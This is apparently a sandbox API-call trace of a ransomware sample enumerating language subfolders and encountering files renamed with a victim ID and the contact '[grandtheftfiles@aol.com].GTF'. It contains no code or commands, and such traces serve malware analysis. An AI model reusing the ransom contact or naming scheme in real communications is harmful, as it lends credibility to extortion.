	[0067.951] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0067.951] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.951] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f37c8a6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f37c8a6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f43b36b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.951] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f3a290f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.951] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.951] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.951] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0067.951] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.951] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0067.951] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.951] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0067.951] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.952] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4615a3, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4ada3d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.952] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4877ba, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4877ba, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.952] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.952] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.952] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0067.952] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.952] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0067.952] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.952] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f547c30, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f08
	[0067.952] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f547c30, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.952] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4ada3d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4ada3d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f5200f5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.952] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4f9fad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4f9fad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f5200f5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.953] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.953] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.953] FindClose (in: hFindFile=0x811f08 | out: hFindFile=0x811f08) returned 1
	[0067.953] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.953] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0067.953] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.953] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f651472, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b48
	[0067.953] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f651472, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.953] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f547c30, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f56c5c1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.954] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f56c5c1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f56c5c1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f62b0f7, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.954] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.954] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.955] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0067.955] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.955] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0067.955] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.955] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0067.955] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.955] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f651472, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f6775cc, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.955] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f6775cc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f6775cc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.955] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.955] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.955] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0067.956] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.956] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0067.956] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.956] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0067.956] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.956] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fa0af4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fa0af4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc472a2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.956] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.956] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.956] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.956] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0067.956] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.956] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0067.956] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
